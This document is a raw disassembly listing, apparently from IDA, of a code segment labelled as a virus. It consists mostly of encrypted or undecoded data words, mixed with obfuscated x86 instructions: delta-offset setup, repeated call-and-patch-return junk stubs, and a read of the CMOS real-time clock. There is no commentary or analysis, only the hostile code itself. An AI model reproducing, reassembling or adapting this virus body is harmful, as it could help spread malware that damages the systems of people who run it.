		dd 0AF48D731h, 0CE31DBD9h, 8D095E4Ah, 71B1C5Dh,	2A0995FFh
		dd 0BF0F071Bh, 81B58BF3h, 5B071B1Eh, 31B50B53h,	5E071B28h
		dd 0F18BC32Bh, 8343Dh, 76860F00h, 89000000h, 1B27E58Dh
		dd 349BBE07h, 7CE96812h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 42BFC350h
		dd 0C268685Eh, 0E9C368EFh, 12h,	0EB309D2Ah, 0B71D7251h
		dd 3EC5E0D3h, 0CE40045Dh, 11E8116Bh, 30000000h,	0D8895B90h
		dd 9F589156h, 3D48550Fh, 20241831h, 0DE960h, 0E8960000h
		dd 6BD9DF23h, 847BE11Ah, 617A2980h, 0FC08B5Eh, 0E81h, 9E900h
		dd 1FA40000h, 0BAD566AAh, 8BBF4E6Dh, 6AD88BC3h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 4BCC350h, 9CA7F41h, 50D681FFh, 8149C59Ch, 0B808FDEEh
		dd 2185C703h, 33071B2Bh, 6A71B69Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F78C352h
		dd 688h, 14CE8100h, 8B0AED60h, 51006AC0h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0F34B2C8Eh
		dd 0B7604061h, 33C98167h, 61450538h, 96F3BE66h,	2BFDBD81h
		dd 7D0071Bh, 850F0000h,	2Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 93C35545h, 0ADB52966h, 0FF071B29h
		dd 1B2BFD85h, 559D0107h, 0FF071B29h, 1B2BFDB5h,	0BD8B6007h
		dd 71B1191h, 22F9BE61h,	95FF4734h, 71B1289h, 0F1B70F90h
		dd 32958D01h, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0FF3E57C3h, 8BEB1DFEh, 1B18F9B5h
		dd 8E907h, 0C4E70000h, 65A665D7h, 0BD8981CFh, 71B0D21h
		dd 3259B58Bh, 0AE9071Bh, 0E4000000h, 5F116971h,	5192D1E9h
		dd 56006ABBh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 940A6609h, 456B725Fh, 0D207E0BEh, 719D897Eh
		dd 8B071B1Ch, 919D89F0h, 89071B17h, 1B21899Dh, 25958907h
		dd 0E9071B21h, 0Ah, 80CC5743h, 1732B8A1h, 81664A1Dh, 6AA3DCE7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0A3D2C356h, 53006ABFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B1BF411h
		dd 1B1459BDh, 5870F07h,	66000000h, 7515DF81h, 60FBB70Fh
		dd 14259D29h, 0B966071Bh, 0CB81DF52h, 7AF71006h, 2AFAE2BFh
		dd 5DE96152h, 6AFFFFF7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9041C356h, 81207C2h
		dd 4B75E4E9h, 6E9h, 5D3A0300h, 8BAF6168h, 56006AC1h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 8FA095BFh, 4EBh, 8A0F0000h, 4, 0DE25BE66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DBC35343h, 0A79A334h
		dd 3C799DBDh, 31058531h, 858D071Bh, 71B1255h, 800F6050h
		dd 2, 0B8665856h, 89612D08h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 2FE842C3h
		dd 0C8A27C08h, 8BD139C3h, 1B1EE9BDh, 59D2907h, 6A071B35h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 83711E42h, 9589A3DBh, 71B1775h, 8D89006Ah
		dd 71B2E3Dh, 694858Dh, 6A071Fh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 83F937C3h, 11E905C0h
		dd 1D000000h, 8B266121h, 73594925h, 29A52139h, 9B4C6A95h
		dd 0F905090h, 6AFFB7h, 1BA926BEh, 89006A55h, 1B1B4195h
		dd 0A995FF07h, 6A071B1Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0DA36C353h,	0C9E3DD14h
		dd 0FF830C8h, 68Ch, 2DBD0B00h, 8D071B21h, 1E979C9Dh, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 83402F90h, 3AA5E898h, 0B99D89EFh, 0FF071B1Ah, 52006AD3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0D02AEE6Ch, 0C18881DCh, 2AE1B50Bh, 85FF071Bh, 71B264Dh
		dd 2E19B58Bh, 0D2E9071Bh, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 71F069Eh
		jmp	loc_57B81B
; ---------------------------------------------------------------------------
		dd 0CE2F7EDFh
		db 0D8h, 0E5h, 0F2h
; ---------------------------------------------------------------------------


loc_57B81B:				; CODE XREF: Virus___:0057B80Fj
		cmp	dword ptr [ebp+71B2BFDh], 7D0h
		jbe	loc_57B949
		push	eax
		add	[ebp+71B0DFDh],	eax
		pop	esi
		mov	ebx, [ebp+71B0A69h]
		mov	edi, 3D9699D3h
		and	ebx, 100h
		or	ebx, ebx
		jnz	loc_57B8DE
		push	0
		push	edx
		call	sub_57B857
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B857	proc near		; CODE XREF: Virus___:0057B84Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_57B857	endp

; ---------------------------------------------------------------------------
		db 7Ch
		dd 95DE81BBh, 830C655Eh, 1F04F4BDh, 840F0007h, 2Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D4C35747h, 0BD8BE712h
		dd 71B0E71h, 6EE9h, 0EE816600h,	85C740F0h, 71F04F4h, 1
		dd 59E9F9h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0EA5CD5C3h, 26DDBD09h
; ---------------------------------------------------------------------------
		sbb	eax, [edi]


loc_57B8DE:				; CODE XREF: Virus___:0057B846j
		mov	dword ptr [ebp+71F04F4h], 0
		push	0
		push	eax
		call	sub_57B8F3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B8F3	proc near		; CODE XREF: Virus___:0057B8EBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_57B8F3	endp

; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------
		cli
		mov	ebx, 6E2D3D8Ch
		dec	ebx
		test	[esi-75h], ebp
		mov	ch, 0F5h
		xor	al, 1Bh
		pop	es
		lea	ebx, [ebp+71B0A69h]
		jnb	loc_57B93D
		pusha
		jns	$+6
		jmp	loc_57B93C
; ---------------------------------------------------------------------------
		db 87h
		dd 0BDB1C93Ah, 41F020F2h, 3FF01EB3h, 5521C9CAh
; ---------------------------------------------------------------------------


loc_57B93C:				; CODE XREF: Virus___:0057B926j
		popa


loc_57B93D:				; CODE XREF: Virus___:0057B919j
		and	dword ptr [ebx], 0FFFFFEFFh
		xor	edi, [ebp+71B02D1h]


loc_57B949:				; CODE XREF: Virus___:0057B825j
		mov	bx, ds
		mov	edi, 6BF3D868h
		test	bl, 4
		jz	loc_57B9D1
		jmp	loc_57B96D
; ---------------------------------------------------------------------------
		inc	dword ptr [ebx+71h]
		push	cs
		jl	short sub_57B9AD
		pop	edx
		mov	dword ptr [ecx+6Ah], 19363440h


loc_57B96D:				; CODE XREF: Virus___:0057B95Aj
		call	dword ptr [ebp+71B2A09h]
		push	0
		push	ecx
		call	sub_57B97E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B97E	proc near		; CODE XREF: Virus___:0057B976p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_57B97E	endp

; ---------------------------------------------------------------------------
		mov	al, 0DEh
		pushf


loc_57B991:				; CODE XREF: Virus___:0057B9CFj
		nop
		mov	esi, 1A4364ADh
		push	eax
		call	sub_57B9AD
		pop	edi
		and	eax, [eax+ebp*8-31847C2Fh]
		sub	al, 8Bh
		fucomi	st, st(3)
		xchg	eax, edx
		shr	dword ptr [ebp+0Dh], cl

; =============== S U B	R O U T	I N E =======================================



sub_57B9AD	proc near		; CODE XREF: Virus___:0057B963j
					; Virus___:0057B998p
		mov	esi, 2149419Ch
		pop	esi
		nop
		push	0
		push	edx
		call	sub_57B9BF
		and	[edx-3Dh], bl
sub_57B9AD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57B9BF	proc near		; CODE XREF: sub_57B9AD+Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_57B9BF	endp

; ---------------------------------------------------------------------------
		loop	loc_57B991


loc_57B9D1:				; CODE XREF: Virus___:0057B954j
		jmp	loc_57BCDC
; ---------------------------------------------------------------------------
		jmp	loc_57B9E4
; ---------------------------------------------------------------------------
		db 51h
		dd 0D71F07F5h, 0D97FE656h
; ---------------------------------------------------------------------------


loc_57B9E4:				; CODE XREF: Virus___:0057B9D6j
		mov	edi, esi
		mov	al, 0
		mov	edi, [ebp+71B0409h]
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		adc	di, 6773h
		in	al, 71h		; CMOS Memory
		mov	di, 88FAh
		movzx	ebx, al
		movzx	esi, bx
		mov	edx, 6
		add	[ebp+71B281Dh],	edx
		mov	eax, ebx
		call	sub_57BA27
		mov	ebx, 582182C3h
		iret
; ---------------------------------------------------------------------------
		db 3Ah,	41h, 55h
		dd 973CE4AAh, 0DBB3EC84h
		db 73h,	23h, 38h

; =============== S U B	R O U T	I N E =======================================



sub_57BA27	proc near		; CODE XREF: Virus___:0057BA0Ep
		jle	loc_57BA2F
		pusha
		popa


loc_57BA2F:				; CODE XREF: sub_57BA27j
		pop	edi
		shr	eax, 4
		push	ecx
		ja	loc_57BA40
		jnz	$+6


loc_57BA40:				; CODE XREF: sub_57BA27+Dj
		pop	esi
		mul	dx
		push	0
		push	ecx
		call	sub_57BA4F
		and	[ecx-3Dh], bl
sub_57BA27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57BA4F	proc near		; CODE XREF: sub_57BA27+20p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_57BA4F	endp

; ---------------------------------------------------------------------------
		adc	dl, [esi+2Bh]
		nop
		sub	ebx, eax
		jmp	loc_57BA70
; ---------------------------------------------------------------------------
		dw 7173h
		dd 0C9A193DEh
; ---------------------------------------------------------------------------


loc_57BA70:				; CODE XREF: Virus___:0057BA65j
		push	eax
		mov	di, 0D468h
		mov	[esp], ebx
		or	esi, [ebp+71B2B45h]
		push	dword ptr [ebp+71B2BFDh]
		jns	loc_57BA93
		jns	loc_57BA93
		movsx	edi, cx


loc_57BA93:				; CODE XREF: Virus___:0057BA84j
					; Virus___:0057BA8Aj
		call	dword ptr [ebp+71B1289h]
		push	0
		push	edi
		call	sub_57BAA4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BAA4	proc near		; CODE XREF: Virus___:0057BA9Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_57BAA4	endp

; ---------------------------------------------------------------------------
		dd 6A00B075h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 2514C353h, 186FA97Ch, 0E6278A02h
		dd 0F18B6670h, 6A71E4h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 9DBA65C3h, 53C4F3C0h, 613CF88Eh
		dd 1CE830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0DDF9ADC3h, 0BAD8B60Fh, 6, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3BC35141h, 858941CBh
		dd 71B2DB1h, 8D31C38Bh,	71B0541h, 6A04E8C1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A594C352h, 0AB9FB2Eh, 6820FFDh, 8B000000h, 1B2E4DB5h
		dd 0E2F76607h, 6E9h, 613C0E00h,	2BE77C3Bh, 0ADBD0BD8h
		dd 51071B2Ch, 0C1B58B60h, 8B071B12h, 1B30259Dh,	585F6107h
		dd 355BD8Bh, 0D82B071Bh, 116880Fh, 0B9F80000h, 7, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0DFC35646h, 3170AD8Dh
		dd 1B0E058Dh, 0C18307h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 48C35747h, 3B0A94B7h,	0C1860FD9h, 0BF000000h
		dd 50CD6B4Dh, 60D98C66h, 7E8h, 3552EA00h, 6A576100h, 59C28B66h
		dd 0C1F661F9h, 95840F04h, 0F000000h, 68Dh, 0A9B58B00h
		dd 0FF071B00h, 1B2A0995h, 6A5B07h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 2B8C8FC3h, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0B3D0C713h, 3D1E4C7Fh, 834h,	36860Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 25F7E0C3h, 6C98F7FDh, 295BDF95h, 1B0A45BDh, 0EE907h
		dd 0CE810000h, 160843FAh, 9589C08Bh, 71B1291h
; ---------------------------------------------------------------------------


loc_57BCDC:				; CODE XREF: Virus___:loc_57B9D1j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ecx
		call	sub_57BCEB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BCEB	proc near		; CODE XREF: Virus___:0057BCE3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_57BCEB	endp

; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		fst	dword ptr [ecx]
		das
		jmp	loc_57BD11
; ---------------------------------------------------------------------------
		dd 3EAA478Bh, 4AAB5AD4h, 9966E6DFh
		db 3Bh
; ---------------------------------------------------------------------------


loc_57BD11:				; CODE XREF: Virus___:0057BCFFj
		push	esi
		mov	[ebp+71B02FDh],	eax
		pop	esi
		mov	dword ptr [ebp+71B0A91h], 57CB511Fh
		push	0
		push	edx
		call	sub_57BD2E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD2E	proc near		; CODE XREF: Virus___:0057BD26p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_57BD2E	endp

; ---------------------------------------------------------------------------
		stosb
		dec	dword ptr [edx+6BEC7C92h]
		mov	eax, eax
		push	0
		push	edx
		call	sub_57BD52
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BD52	proc near		; CODE XREF: Virus___:0057BD4Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_57BD52	endp

; ---------------------------------------------------------------------------
		dw 8375h
		dd 0F89DB5BFh, 0EE9h, 35F91500h, 1384DC65h, 886214D1h
		dd 81D0B5E8h, 1B2BFDBDh, 7D007h, 59850F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 4BA2C351h, 0BAEC1D59h, 0EE9E43Eh,	0A4000000h
		dd 0D7E55712h, 334BEC5Ch, 0B958DBBAh, 0FD85FF79h, 6A071B2Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 6320C356h, 2BFDB5FFh, 6A071Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 816CA8C3h
		dd 6ACC55F6h, 66DF812Bh, 0FF0EF885h, 1B128995h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0E874F1E7h, 8BE879E1h, 1B3381B5h, 7E807h, 0F94B0000h
		dd 2D7EED53h, 0F5B58B71h, 5E071B26h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 89607A32h
		dd 1B2B258Dh, 0E3D28107h, 613A5B0Bh, 1C65B531h,	9D89071Bh
		dd 71B16A9h, 4798D89h, 0E681071Bh, 5EBE7408h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 77C35141h, 7332FC37h
		dd 0E92D2768h, 9, 0D321EA5h, 9F08C831h,	8CDF813Fh, 6A4454A0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 93E7C351h, 19880F78h, 0E9000000h,	14h, 5E98A9FFh
		dd 7E623A26h, 9F5F17B4h, 0BE5DC8CCh, 0D697CEF4h, 0AABF66h
		dd 1B15BD8Bh, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 90B05AC3h, 2DCF81DBh, 6A5E9480h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E9A3C357h, 8, 957EA564h,	31514899h, 3521B58Bh
		dd 5E9071Bh, 8E000000h,	583DBA3h, 11E8h, 0FB9A9C00h, 7B281875h
		dd 2198B23Dh, 4DF3856h,	0B53366BAh, 71B0065h, 24518D89h
		dd 0E95E071Bh, 0FFFFF867h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 9DC35242h, 161FC099h,	2BC48BF7h, 0E8F0FFEh
		dd 0F000000h, 288h, 89F98B00h, 1B096195h, 6AC18B07h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0E005C351h, 11E9C7h,	0AE150000h, 0BD84161Ah,	7C1819A7h
		dd 3D6975D2h, 0EB69E628h, 4, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0DA1FD499h
		dd 33FDB523h, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 82716FC3h, 0A5FED7F7h, 858D6A70h
		dd 71B1255h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	43C35646h, 0B12AE9D6h, 39A23F58h, 0F88B6650h, 81240489h
		dd 502FF3F7h, 6A006A35h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 1E7DC353h, 0BBB5559Ah
		dd 6A006A91h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0CF6BC357h, 927C437h, 667780D2h
		dd 8D6A68BFh, 1F107385h, 9D8D2907h, 83071B32h, 858905C0h
		dd 71B1489h, 48D0F50h, 66000000h, 8996D0BFh, 6A2404h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 80DBC2C3h, 12E8h, 0FA5F8C00h, 550EC887h, 5263DE41h
		dd 28448C54h, 89C2A3E7h, 1B19058Dh, 0DE95E07h, 8D000000h
		dd 0D0720270h, 0DCA248F4h, 550627FBh, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0C04603C3h, 0D9B589C2h, 0F071B1Fh, 685h, 41858900h
		dd 6A071B05h, 0F6816600h, 95FF9F45h, 71B1EA9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1BC35747h, 0C47631F3h
		dd 0BD852934h, 29071B30h, 1B31099Dh, 9C9D8D07h,	8B071E97h
		dd 1B1AADBDh, 89D3FF07h, 1B13098Dh, 4D85FF07h, 89071B26h
		dd 1B2239BDh, 873E907h,	0E80000h, 5D000000h, 107DED81h
		dd 6A071Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 40CD09C3h, 31FE8B66h, 1B350185h, 0FDBD8107h
		dd 0D0071B2Bh, 0F000007h, 18C86h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0A38DCD04h
		dd 69F57B20h, 7D8D01BDh, 57071B28h, 4820Fh, 0BE660000h
		dd 8B5EEBB2h, 1B32D59Dh, 48E0F07h, 66000000h, 812084BFh
		dd 100E3h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0EDEC5E1Eh, 0DDDB0591h, 0DB0B4E90h
		dd 7F850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0F54A19C3h, 0D91B47A2h, 0BEC77D3Fh
		dd 19C0F9A4h, 0EA3BD83h, 0F00071Fh, 2784h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0C45685C3h, 4BE914h,	61600000h, 0EA385C7h, 1071Fh, 8D890000h
		dd 71B0C19h, 34E9h, 68C0F00h, 33000000h, 1B21F1BDh, 0A385C707h
		dd 71F0Eh, 0F000000h, 188Ch, 0BE96000h,	65000000h, 4E2855EFh
		dd 257249CCh, 8D01910Ah, 71B2B05h, 0D59D8D61h, 6A071B32h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 749EC355h, 7011E0DFh, 11E9FE8Bh, 0
		dd 86FB1D0Eh, 8BFD1117h, 18A43F4Ah, 220FD621h, 0FEFF2381h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 56A975C3h, 0F34A67F0h, 8B666DB6h,	0DB8C66F0h
		dd 20D1BD8Bh, 0C3F6071Bh, 83840F04h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6442C350h, 34A9B39Ah, 0D0A4F7A9h, 2A0995FFh,	6A071Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8166E9C3h, 90568FF7h, 8E9h, 0F729B700h, 6EDDE124h, 8B66507Bh
		dd 6A90F8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 81524DC3h, 0F07018EEh, 0F9E95F62h, 0F5000003h
		dd 0BD2B00B0h, 71B059Dh, 0CE870E6h, 0F0000000h,	54A7423Eh
		dd 903125C3h, 8BEBEB12h, 1B0A25B5h, 71E45F07h, 1F98B66h
		dd 1B21A59Dh, 0D8B60F07h, 5830Fh, 28BF0000h, 0BA51D74Eh
		dd 6, 419BD29h,	0B58B071Bh, 71B03FDh, 14E9C38Bh, 2B000000h
		dd 2C84572Bh, 8F978D79h, 3DA0730Ah, 0B51C7619h,	0C1F288FCh
		dd 0F76604E8h, 898529E2h, 2B071B22h, 50006AD8h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9D893E17h
		dd 71B2C01h, 13BF6693h,	0F88B5067h, 0F1BD8B93h,	0FF071B0Dh
		dd 1B2BFDB5h, 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0F8AC148Bh, 0BC5EEEh, 8995FFF9h
		dd 6A071B12h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B74C350h, 1B23B1B5h, 6A00B007h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0F1AEC350h, 0BE0997Dh, 0E8F59ABEh, 0Bh, 9F3F2B13h
		dd 38DF3CECh, 66E2FD9Eh, 8B5EF28Bh, 8970E6F3h, 1B2E81BDh
		dd 19958907h, 0E4071B1Fh, 52006A71h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0B9E89CDAh
		dd 234BE969h, 1B0475B5h, 0F613C07h, 28383h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 87A39A34h, 0EE8DBh, 0D71A0000h, 782B3EEBh, 0C7421E35h
		dd 0FE49B0A9h, 3159BD8Bh, 895F071Bh, 1B0A85BDh,	0D8B60F07h
		dd 77EF8166h, 6BA00h, 6E80000h,	27000000h, 165DF0CCh, 0B5895625h
		dd 71B0D49h, 0C38B5F5Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 47C35646h, 0C193C79Ch, 6A04E8h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0E1D366C3h, 3051BD8Bh, 0F766071Bh, 6AD82BE2h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 5E94C350h, 0C7A47C0Ah, 9F7C932Bh, 33618529h,	6A58071Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8986C356h, 1B2D999Dh, 0FD82B07h, 17F88h
		dd 0BD896000h, 71B099Dh, 61F98B66h, 7B9h, 0E820F00h, 0E9000000h
		dd 9, 4E86B0C0h, 0D3D7B2A2h, 0C18380h, 2850Fh, 0FE8B0000h
		dd 860FD93Bh, 148h, 0F22026BFh,	0D98C6625h, 0F04C1F6h
		dd 11384h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 57E9ED14h, 0E9BD5222h, 12h, 95988612h
		dd 35DDDED3h, 0A28D7261h, 0C1A11B6Fh, 0E681EB83h, 36B5852Dh
		dd 2A0995FFh, 0B503071Bh, 71B24D1h, 56006A5Bh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0BE8FCh, 90A60000h
		dd 4A05C6B1h, 0A31C0469h, 0F0B70F21h, 0C5BD8B5Fh, 2B071B16h
		dd 10E9C3h, 0D100000h, 3CDD0F97h, 904D70DEh, 7D4D371Eh
		dd 0B503C15Dh, 71B2A19h, 8343Dh, 69860F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0D617C350h, 0B62E66F5h, 0B7CC7C72h, 26DE8166h
		dd 0CE9BCh, 0E1590000h,	24B9CDF8h, 0DAA768F3h, 4DE9042Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0A12BC352h, 2E923C71h,	0F781902Ah
		dd 673949FFh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 95891DC3h, 71B1F75h, 0D88BC38Bh
		dd 0A6985C7h, 0B9BF071Bh, 8BF9709Eh, 55006AC0h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0BE0C1889h
		dd 0C3958815h, 1FC59D89h, 0BD81071Bh, 71B2BFDh,	7D0h, 59850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0F345E1C3h, 0FA05B63Bh, 9D016C15h, 71B2291h
		dd 2BFD85FFh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0DF75C0C3h, 28DB2A7Bh, 0CD9D31C4h
		dd 0FF071B25h, 1B2BFDB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0C671EB10h
		dd 128995FFh, 0F2BE071Bh, 900EDAB1h, 2C820Fh, 95890000h
		dd 71B28FDh, 14E8h, 0B26E100h, 77C40754h, 0D943E788h, 111A3B97h
		dd 0EF32E06Ah, 0A1BD8BD8h, 31071B11h, 1B32C195h, 8B665E07h
		dd 8B6651F0h, 0BD295EF3h, 71B2231h, 2D51B523h, 810F071Bh
		dd 5, 136956BEh, 0BF0F6057h, 7E8D3h, 8EA20000h,	8ADDA5DDh
		dd 615AF548h, 81EBBF66h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 1CC35343h, 5E51921Fh,	0B5DAEE81h, 880F369Eh
		dd 6, 0DC5B589h, 9E9071Bh, 43000000h, 525B23C4h, 81BAB11Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 8BC35040h
		dd 7B1AC5F4h, 0BE0408C7h, 515DB158h, 14E9h, 0D4FD3000h
